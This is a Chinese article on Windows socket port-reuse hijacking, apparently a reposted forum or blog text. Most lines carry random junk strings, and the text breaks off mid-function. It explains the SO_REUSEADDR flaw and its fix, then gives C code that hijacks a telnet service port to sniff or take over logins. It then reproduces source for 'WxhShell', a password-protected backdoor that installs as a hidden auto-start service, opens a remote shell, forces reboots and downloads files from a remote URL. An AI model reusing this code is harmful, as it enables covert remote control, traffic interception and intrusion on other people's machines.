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利用VC实现端口复用

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 6I5[^fv45G  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); rS,* s'G  
)Bm^aMVl3  
  saddr.sin_family = AF_INET; _^ CQ*+F  
}R(0[0NQe-  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ;ZE<6;#3IP  
(|ct`KU0#  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $z`cMQ r  
I49=ozPP  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ]6i_d  
2S7H_qo$  
  这意味着什么?意味着可以进行如下的攻击: CwH)6uA  
E``!-W  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 =5s~$C  
ShsP]$Yp  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2\iD;Z#gM  
rt\<nwc  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Tg{dIh.Q~O  
8YJqM,t5)  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  -V<=`e  
CpP$HrQ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 9cw4tqTm  
A]~iuUHm  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Do[ F+Y  
+~pc% 3*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 7:R{~|R  
MRl*r K  
  #include sP8-gkkor  
  #include 7K5o" "  
  #include f'zFg["aZS  
  #include    ][>M<J  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ~:RDw<PWp  
  int main() Q,M/R6i-  
  { (1r>50Ge  
  WORD wVersionRequested; 48"Y-TV  
  DWORD ret; 2YP"nj#  
  WSADATA wsaData; ;6 &=]I  
  BOOL val; `$x#_-Hn  
  SOCKADDR_IN saddr; c_8mQ  
  SOCKADDR_IN scaddr; &0<R:K?>N  
  int err; *IO;`k q,;  
  SOCKET s; ?D$b%G{  
  SOCKET sc; L!}j3(I  
  int caddsize; |{|r? 3  
  HANDLE mt; K&a]pL6D  
  DWORD tid;   O'sr[  
  wVersionRequested = MAKEWORD( 2, 2 ); g J[q {b  
  err = WSAStartup( wVersionRequested, &wsaData ); u>i+R"hi"  
  if ( err != 0 ) { kk\zZC <  
  printf("error!WSAStartup failed!\n"); "j@IRuH  
  return -1; Vwh&^{Eh  
  } IM&7h! l"|  
  saddr.sin_family = AF_INET; 0 c'2rx  
   I9j+x ])  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 d\<aJOi+-  
63dtO{:4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *p5T  
  saddr.sin_port = htons(23); Px?At5  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) uc(yos  
  { ]B.,7  
  printf("error!socket failed!\n"); M Ut^mu$86  
  return -1; $=g.-F% *=  
  } SIBIh-L  
  val = TRUE; <IkD=X  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 @f01xh=8  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) MVU'GHv  
  { $8ww]}K  
  printf("error!setsockopt failed!\n"); Q\>SF  
  return -1; c68$pgG  
  } % |Gzht\  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^A$XXH '  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 28qWC~/9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 7z0 uj  
+z?f,`.*  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) hD.wKX?oO  
  { !rmo*-=^=  
  ret=GetLastError(); ?;7>`F6ld  
  printf("error!bind failed!\n"); ]be2jQx3  
  return -1; gl{P LLe[}  
  } (V%vFD1)  
  listen(s,2); u2m{Yx|  
  while(1) [67f;?b  
  { <+JFal  
  caddsize = sizeof(scaddr); XlcDF|?{.  
  //接受连接请求 zgOwSg8  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); k.f:nv5JO  
  if(sc!=INVALID_SOCKET) :qKY@-t7H  
  { "YU~QOGx@  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); FrM~6A_  
  if(mt==NULL) )s[S.`S Tz  
  { iYs?B0*JWK  
  printf("Thread Creat Failed!\n"); 4U1fPyt  
  break; l{x#*~g a  
  } &zDFf9w2{  
  } jsht2]iq3K  
  CloseHandle(mt); oa|*-nw  
  } s|`)'  
  closesocket(s); 03\8e?$  
  WSACleanup(); ,'DrFlI  
  return 0; f;dU72]q+  
  }   X51$5%  
  DWORD WINAPI ClientThread(LPVOID lpParam) *J5euA5=  
  { | (9FV^_  
  SOCKET ss = (SOCKET)lpParam; &8L\FAY0%9  
  SOCKET sc; k$- q; VI  
  unsigned char buf[4096]; vy y\^nL  
  SOCKADDR_IN saddr; KftM4SFbK  
  long num; ]Y! Vyn  
  DWORD val; J~`%Nj5>  
  DWORD ret; >5W"a?(  
  //如果是隐藏端口应用的话,可以在此处加一些判断 }r<^]Q*&p  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   [m&ZAq  
  saddr.sin_family = AF_INET; ()JDjzQT  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); U MIZ:*j  
  saddr.sin_port = htons(23); *dgN pJ 9  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nOzT Hg8  
  { J, >PLQAa  
  printf("error!socket failed!\n"); IcA~f@  
  return -1; <Wq{ V;$  
  } \,t<{p_Q  
  val = 100; ?LM'5  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,6pH *b $  
  { 2 ZXF_ o  
  ret = GetLastError(); wajhFBJ  
  return -1; C{^@.8:  
  } 9F!&y-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .q}k  
  { p8J"%Jq}  
  ret = GetLastError(); ,KaWP  
  return -1; oPZ4}>uV  
  } IQv>{h}  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) wB"Gw` D  
  { ZK*aVYnu  
  printf("error!socket connect failed!\n"); JFdzA  
  closesocket(sc); x*V<afLY[  
  closesocket(ss); 9x,+G['Zt  
  return -1; mr.DP~O:9p  
  } A[a+,TN {  
  while(1) \(L^ /]}G)  
  { ,BAF?} 04=  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 EV$n>.  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 r U5'hK  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 KR0 x[#.*  
  num = recv(ss,buf,4096,0); gvYs<,:  
  if(num>0) `h6W@ROb  
  send(sc,buf,num,0); d5hE!=  
  else if(num==0) m"]ys #  
  break; W -&5 v  
  num = recv(sc,buf,4096,0); TaG-^bX8B  
  if(num>0) P#PQ4uK \  
  send(ss,buf,num,0); ~G:7*:[b  
  else if(num==0) BZ9iy~  
  break; | &vuK9q  
  } 2=EKAg=S  
  closesocket(ss); Jmx }r,j  
  closesocket(sc); ls Ch K  
  return 0 ; ~O-8h0d3  
  } -^DB?j+  
W[s>TDc`v  
V ;jz0B  
========================================================== Gy%e%'  
Y2n*T KXI,  
下边附上一个代码,,WXhSHELL b??1Up  
P_U-R%f  
========================================================== -f=hL7NW  
ev $eM  
#include "stdafx.h" ig{5 ]wZ(  
{,=,0NQKn  
#include <stdio.h> A$cbH.  
#include <string.h> @AOiZOH  
#include <windows.h> lDeWs%n  
#include <winsock2.h> jLSZ#H  
#include <winsvc.h> LNkyV*TI  
#include <urlmon.h> & j43DYw4  
HV@:!zM  
#pragma comment (lib, "Ws2_32.lib") UZ#2*PH2E  
#pragma comment (lib, "urlmon.lib") "L]_NS T  
g%trGW3{-  
#define MAX_USER   100 // 最大客户端连接数 e^yB9b  
#define BUF_SOCK   200 // sock buffer 4KCxhJq  
#define KEY_BUFF   255 // 输入 buffer e+wd>iiB  
zKNk(/y  
#define REBOOT     0   // 重启 il~,y8WTU{  
#define SHUTDOWN   1   // 关机 JN_# [S$  
tF|bxXs Z  
#define DEF_PORT   5000 // 监听端口 e 3K  
Xc!w y9m  
#define REG_LEN     16   // 注册表键长度 7 <xxOY>y  
#define SVC_LEN     80   // NT服务名长度 fvD wg  
$Tg$FfD6&  
// 从dll定义API -MjRFa  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {\B!Rjt[T  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (Gcl,IW  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); iwbjjQPr  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &>o)7H];  
VZ8L9h<{"  
// wxhshell配置信息  <CFu r  
struct WSCFG { qb Q> z+c  
  int ws_port;         // 监听端口 F r~xN!  
  char ws_passstr[REG_LEN]; // 口令 @UKd0kxPN{  
  int ws_autoins;       // 安装标记, 1=yes 0=no V;"'!dVX  
  char ws_regname[REG_LEN]; // 注册表键名 KjadX&JD  
  char ws_svcname[REG_LEN]; // 服务名 Dng^4VRd  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 om1 / 9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 U&6f}=v C  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i+;E uHf  
int ws_downexe;       // 下载执行标记, 1=yes 0=no QUt!fF@t  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" tVOx  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 W>~V?%F&'  
=F9-,"EAI  
}; .eE5pyw+C  
,f$ RE6  
// default Wxhshell configuration STI8[e7{  
struct WSCFG wscfg={DEF_PORT,  Dg@6o  
    "xuhuanlingzhe", _#+i;$cO-X  
    1, *$QUE0  
    "Wxhshell", \21!NPXH2  
    "Wxhshell", IY'S<)vOY  
            "WxhShell Service", d^7<l_u~ !  
    "Wrsky Windows CmdShell Service", >_@J&vC  
    "Please Input Your Password: ", {?8rvAj Y  
  1, iY="M_kQ_  
  "http://www.wrsky.com/wxhshell.exe", W+QI D/  
  "Wxhshell.exe" hYLu   
    }; 9I,Trk@&  
D3]_AS&\  
// 消息定义模块 '>Z Ou3>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \|Mz'*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <*L8kNykK  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; o\N),;LM  
char *msg_ws_ext="\n\rExit."; G]{)yZ'}  
char *msg_ws_end="\n\rQuit."; x`4">:IA  
char *msg_ws_boot="\n\rReboot..."; 139_\=5|U/  
char *msg_ws_poff="\n\rShutdown..."; 8O]$)E  
char *msg_ws_down="\n\rSave to "; },l3N K  
[|vd r.  
char *msg_ws_err="\n\rErr!"; J( 0c#}d  
char *msg_ws_ok="\n\rOK!"; j*GYYEY  
K#>B'>A\  
char ExeFile[MAX_PATH]; &a V`u?'e  
int nUser = 0; Ra/S46$  
HANDLE handles[MAX_USER]; !(/dbHB  
int OsIsNt; sPut@4[S  
`,J\E<4J  
SERVICE_STATUS       serviceStatus; @>:r'Fmu-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 'h$1vT  
./u3z|q1  
// 函数声明 _f/6bpv  
int Install(void); D ,nF0p  
int Uninstall(void); ]`LMy t0  
int DownloadFile(char *sURL, SOCKET wsh); $aEL>, X  
int Boot(int flag); LKhUqW  
void HideProc(void); Ay[6rUO  
int GetOsVer(void); n;[d{bU  
int Wxhshell(SOCKET wsl); XOU 9r(  
void TalkWithClient(void *cs); lwSA!W  
int CmdShell(SOCKET sock); KrB"2e+J  
int StartFromService(void); Esd A %`  
int StartWxhshell(LPSTR lpCmdLine); ->d 3FR  
}}<^f M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @PutUYz  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1jDN=hIl  
F.4xi+S_  
// 数据结构和表定义 m)V%l0  
SERVICE_TABLE_ENTRY DispatchTable[] = *4]}_ .rG#  
{ X-=49)  
{wscfg.ws_svcname, NTServiceMain}, >HyZ~M  
{NULL, NULL} #V@[<S2  
}; 09/Mg  
m;'ebkq  
// 自我安装 #mFIZMTRd  
int Install(void) 1GE[*$vuq  
{ W|4:3 c4  
  char svExeFile[MAX_PATH]; bZLY#g7L"  
  HKEY key; 0tK(:9S  
  strcpy(svExeFile,ExeFile); !#3v<_]#d  
4S5U|n  
// 如果是win9x系统,修改注册表设为自启动 ^? }-x  
if(!OsIsNt) { Phr+L9Eog  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -e(e;e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8MU+i%hd  
  RegCloseKey(key); *mby fu0q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )\Am:?RH;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %g:6QS|  
  RegCloseKey(key); k..AP<hH  
  return 0; a]]eQ(xQ  
    } ]lqLC  
  } %vUY|3G  
} Lcb5^e?'Q  
else { \xG_q>1_  
5X&Y~w,poU  
// 如果是NT以上系统,安装为系统服务 -!q^/ux  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ogv9_ X8  
if (schSCManager!=0) x n?$@  
{ ia@ |+r  
  SC_HANDLE schService = CreateService %tB7 &%ut  
  ( ,Wv+Ek  
  schSCManager, SP.k]@P  
  wscfg.ws_svcname, fYSH]!  
  wscfg.ws_svcdisp, fJOw E g|  
  SERVICE_ALL_ACCESS, zG{P5@:.R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (@m/j2z  
  SERVICE_AUTO_START, # ~Doz7~  
  SERVICE_ERROR_NORMAL, Q p7h|<  
  svExeFile, .dI".L  
  NULL, o%7-<\qS  
  NULL, y 4U|~\]  
  NULL, (@->AJF1\  
  NULL, 90#* el  
  NULL kM J}sS  
  ); /yHjd s  
  if (schService!=0) eSQkW  
  { ]~2iducB,  
  CloseServiceHandle(schService); ^"<x4e9+j  
  CloseServiceHandle(schSCManager); eAmI~oku  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {0~\T[qm  
  strcat(svExeFile,wscfg.ws_svcname); aq)g&.dw?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Idb*,l|<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +5S>"KAUt0  
  RegCloseKey(key); G9NI`]k  
  return 0; -0UR%R7q  
    } 793 15A  
  } !B 4zU:d  
  CloseServiceHandle(schSCManager); 8OKG@hc  
} FRuPv6  
} }f;WYz5  
fcxg6W'  
return 1; oUwo!n}  
} BBM[Fy37!}  
,A'| Z  
// 自我卸载 Q7rBc wm5  
int Uninstall(void) 0N^+d,Xt.  
{ PChew3  
  HKEY key; fGb}V'x}r  
G<M0KU (  
if(!OsIsNt) { )7 q"l3e"u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (P`=9+  
  RegDeleteValue(key,wscfg.ws_regname); OHi.5 (  
  RegCloseKey(key); b3EGtC}^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -=nk,cYn  
  RegDeleteValue(key,wscfg.ws_regname); hH 5}%/vF  
  RegCloseKey(key); L/ Q[N^ (^  
  return 0; E{EO9EI  
  } 0u1ZU4+EC  
} Gsv<Rjj:  
} arDl2T,igF  
else { 0CX,"d_T,  
n1J u =C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?OLd }8y  
if (schSCManager!=0) &EqLF  
{ /1MmOB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); gYhY1Mym  
  if (schService!=0) U xBd14-R_  
  { Hl`OT5 pNf  
  if(DeleteService(schService)!=0) { (oi:lC@h*  
  CloseServiceHandle(schService); JcWp14~e  
  CloseServiceHandle(schSCManager); ao2^3e  
  return 0; _;B wP  
  } eJ99W=  
  CloseServiceHandle(schService); 9a=Ll]=\  
  } ,c4HicRJ#  
  CloseServiceHandle(schSCManager); qtExd~E  
} sFc\L94  
} 6@s!J8!  
sq!$+=1-X  
return 1; r }lGcG)  
} iX$G($[l(  
d.FU) )lmD  
// 从指定url下载文件 c,4~zN8Ou  
int DownloadFile(char *sURL, SOCKET wsh) %"0,o$  
{ /?eVWCR  
  HRESULT hr; kJJT`Ba&/  
char seps[]= "/"; )O]6dd  
char *token; SXk.7bMV6  
char *file; #RBrii-,  
char myURL[MAX_PATH]; 6nZ]y&$G-k  
char myFILE[MAX_PATH]; &eHRn_st5b  
KLyRb0V  
strcpy(myURL,sURL); A`n>9|R  
  token=strtok(myURL,seps); Ca|egQv  
  while(token!=NULL) 8M99cx*K  
  { m\56BP-AM  
    file=token; jVQy{8{G  
  token=strtok(NULL,seps); w}ji]V}  
  } Wef%f] u  
<y@v v  
GetCurrentDirectory(MAX_PATH,myFILE); ij ?7MP  
strcat(myFILE, "\\"); fB8, )&  
strcat(myFILE, file); AJ\&>6GZ(b  
  send(wsh,myFILE,strlen(myFILE),0); BpZ~6WtBq  
send(wsh,"...",3,0); w:t~M[kTW  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (`1i o  
  if(hr==S_OK) :C:6bDQ  
return 0; G?s9c0f  
else xDo0bR(  
return 1; ;7'O=%  
{DRk{>K,  
} PVIOe}N  
.9bi%=hP  
// 系统电源模块 24 [KGp  
int Boot(int flag) A NhqS  
{ V$?6%\M^*  
  HANDLE hToken; qYK^S4L  
  TOKEN_PRIVILEGES tkp; /j~~S'sw  
#`VAw ) eV  
  if(OsIsNt) { ?2]fE[SqY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /6 ')B !&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7hHID>,o9%  
    tkp.PrivilegeCount = 1; "wgPPop  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -8 uS#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); CD&a_-'z$K  
if(flag==REBOOT) { e$[O J<t  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) tgF~5 o}?  
  return 0; +F)EGB%LXs  
} tm~9XFQ<  
else { Z[#8F&QV!m  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "*bLFORkq'  
  return 0; 9hzu!}~'I  
} |{#St-!-7  
  } Jh-yIk  
  else { YK/? mj1x  
if(flag==REBOOT) { &W\e 5X<A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zDvV%+RW)  
  return 0; ,;pUBrz/[  
} Cj= R\@  
else { !]F`qS>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) tK3$,9+  
  return 0; WsHD Ip  
} x{pj`'J)  
} JN8Rh  
 zK6w0  
return 1; K*:=d }^  
} R>bg3j  
%e:+@%]  
// win9x进程隐藏模块 && ]ix3  
void HideProc(void) nvR%Ub x  
{ 1K/HVj+'.  
#6M |T+ =  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |b\a)1Po:  
  if ( hKernel != NULL ) T6/P54S  
  { ]!TE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &b (*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Uh.swBC n  
    FreeLibrary(hKernel); ]WMzWt:L  
  } - +a,Ej  
z?DCQ  
return; T={!/y+  
} !$NK7-  
ndFVP;q  
// 获取操作系统版本 G&h@  
int GetOsVer(void) N8nt2r<h  
{ ;L$ -_Z  
  OSVERSIONINFO winfo; kI"9T`owR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lW"0fZ_x'E  
  GetVersionEx(&winfo); MsIR~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r`- 8+"P  
  return 1; u.A}&'H  
  else 1L`V{\_0s  
  return 0; <oXBkCi0r  
} Ko&4{}/  
3^P;mQ$p1  
// 客户端句柄模块 azFJ-0n@"  
int Wxhshell(SOCKET wsl) +tk`$g  
{ U`[viH>K  
  SOCKET wsh; o~'p&f  
  struct sockaddr_in client; 6Gg`ExcT5  
  DWORD myID; '`;=d<'  
i=/hLE8T*  
  while(nUser<MAX_USER) ;%0kzIvP  
{ Y-8BL  
  int nSize=sizeof(client); ]Sj;\Iz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t<dFH}U`w  
  if(wsh==INVALID_SOCKET) return 1; <cZ/_+H%C  
.RmFYV0,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); I Tl>HlS  
if(handles[nUser]==0) g}R#0gkdk}  
  closesocket(wsh); V0D&bN*  
else Ytc[ kp  
  nUser++; FI:H/e5[  
  } TfJ*G6\7e#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y_>DszRN`u  
z#Qe$`4&  
  return 0; i\;ZEM{  
} LL);Ym9d  
y =sae  
// 关闭 socket v6G1y[Wl  
void CloseIt(SOCKET wsh) /&\ V6=jA1  
{ iOfO+3'Z_U  
closesocket(wsh); ;HAvor=?  
nUser--; b5MU$}:  
ExitThread(0); ;ZuHv {=  
} W\-`}{B_/  
fn/?I \  
// 客户端请求句柄 1.u^shc&|  
void TalkWithClient(void *cs) dSKvs"  
{ /pkN=OBR  
?f9M59(l  
  SOCKET wsh=(SOCKET)cs; FO>!T@0G  
  char pwd[SVC_LEN]; &u^]YE{  
  char cmd[KEY_BUFF]; =RXeN+ &R  
char chr[1]; >o13?-S%e  
int i,j; I*j~5fsS'  
.Y2Hd$rs  
  while (nUser < MAX_USER) { x]`F#5j  
$Tv~ *|a  
if(wscfg.ws_passstr) { QuMv1)n  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @"h4S*U  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e wT K2  
  //ZeroMemory(pwd,KEY_BUFF); q{}5wM  
      i=0; FO(QsR=\s  
  while(i<SVC_LEN) { LmyaC2  
&HLG<ISw  
  // 设置超时 [;aM8N  
  fd_set FdRead; ~tTn7[!  
  struct timeval TimeOut; x>mI$K(6M  
  FD_ZERO(&FdRead); PX?%}~ v  
  FD_SET(wsh,&FdRead); Z" H;t\P  
  TimeOut.tv_sec=8; &b^_~hB:q  
  TimeOut.tv_usec=0; .7 )oWd!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %'g)MK!e  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2gklGDJD  
_vb'3~'S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I)#8}[vK  
  pwd=chr[0]; ^ )"Il  
  if(chr[0]==0xd || chr[0]==0xa) { ` ;mQ"lO  
  pwd=0; {HM[ )t0  
  break; d0}(d Gl  
  } "y*3p0E  
  i++; BI%~0 Gj8  
    } (Nz`w  
#wT6IU1  
  // 如果是非法用户,关闭 socket &`s{-<t<L  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2<OU)rVE4  
} 3rFku"z T$  
+1yi{!j1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0+qC_ISns  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G"m0[|XH  
,J+L_S+B~  
while(1) { [O^/"Qk  
-0q|AB<  
  ZeroMemory(cmd,KEY_BUFF); RLL ph  
P 0+@,kM  
      // 自动支持客户端 telnet标准   lr;ubBbT  
  j=0; U5-8It2OR  
  while(j<KEY_BUFF) { t\QLj&h}E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z]hRc8 g}d  
  cmd[j]=chr[0]; <Qv/# k  
  if(chr[0]==0xa || chr[0]==0xd) { i)(G0/:  
  cmd[j]=0; XNx$^I=  
  break; 3^&`E} r  
  } ;CS[Ja>e  
  j++; Q_fgpjEh/t  
    } S-\wX.`R1  
PN9vg9'  
  // 下载文件 >Q(\vl@N=  
  if(strstr(cmd,"http://")) { *szs"mQ/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); W //+[  
  if(DownloadFile(cmd,wsh)) W3Ee3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Md>C!c  
  else #E=8kbD7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2.Ww(`swL  
  } VfJ{);   
  else { Y R~e_cA:  
ami>Pp  
    switch(cmd[0]) { 2uT6M%OC  
  tvVf)bbz  
  // 帮助 YwY?tOxBe  
  case '?': { D}}?{pe  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \fC;b"j  
    break; 6W3oIt  
  } <4;, y*"n  
  // 安装 xWa[qCr  
  case 'i': { W!.FnM5x  
    if(Install()) iNi1+sm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZGX"Vn|YL  
    else l}-k>fug  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `%#_y67v  
    break; WW3Jxd  
    } !WGQ34R{  
  // 卸载 {_.(,Z{  
  case 'r': { (Dv GA I  
    if(Uninstall()) x4g6Qze  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *]<=04v]R  
    else * Uy>F[%@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ufi#y<dP  
    break;  Jn|<G  
    } $,r%@'=&  
  // 显示 wxhshell 所在路径 "#0P*3-c  
  case 'p': { : Gi8Jo  
    char svExeFile[MAX_PATH]; =z9,=rR4  
    strcpy(svExeFile,"\n\r"); ?RG;q  
      strcat(svExeFile,ExeFile); CiHx.5TiC  
        send(wsh,svExeFile,strlen(svExeFile),0); mP15PZ  
    break; t'W6Fmwkx  
    } rttKj{7E  
  // 重启 &``nD  
  case 'b': { IN1 n^f$:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B3[X{n$px  
    if(Boot(REBOOT)) |SMigSu r`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &e).l<B  
    else { .@mZG<vg  
    closesocket(wsh); W6EEC<$JL  
    ExitThread(0); im:[ViR {  
    } x7l}u`N4  
    break; Xu_1r8-|=b  
    } 8aRmHy"9l  
  // 关机 VY~*QF~P  
  case 'd': { &"tQpw5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qx >Z@o  
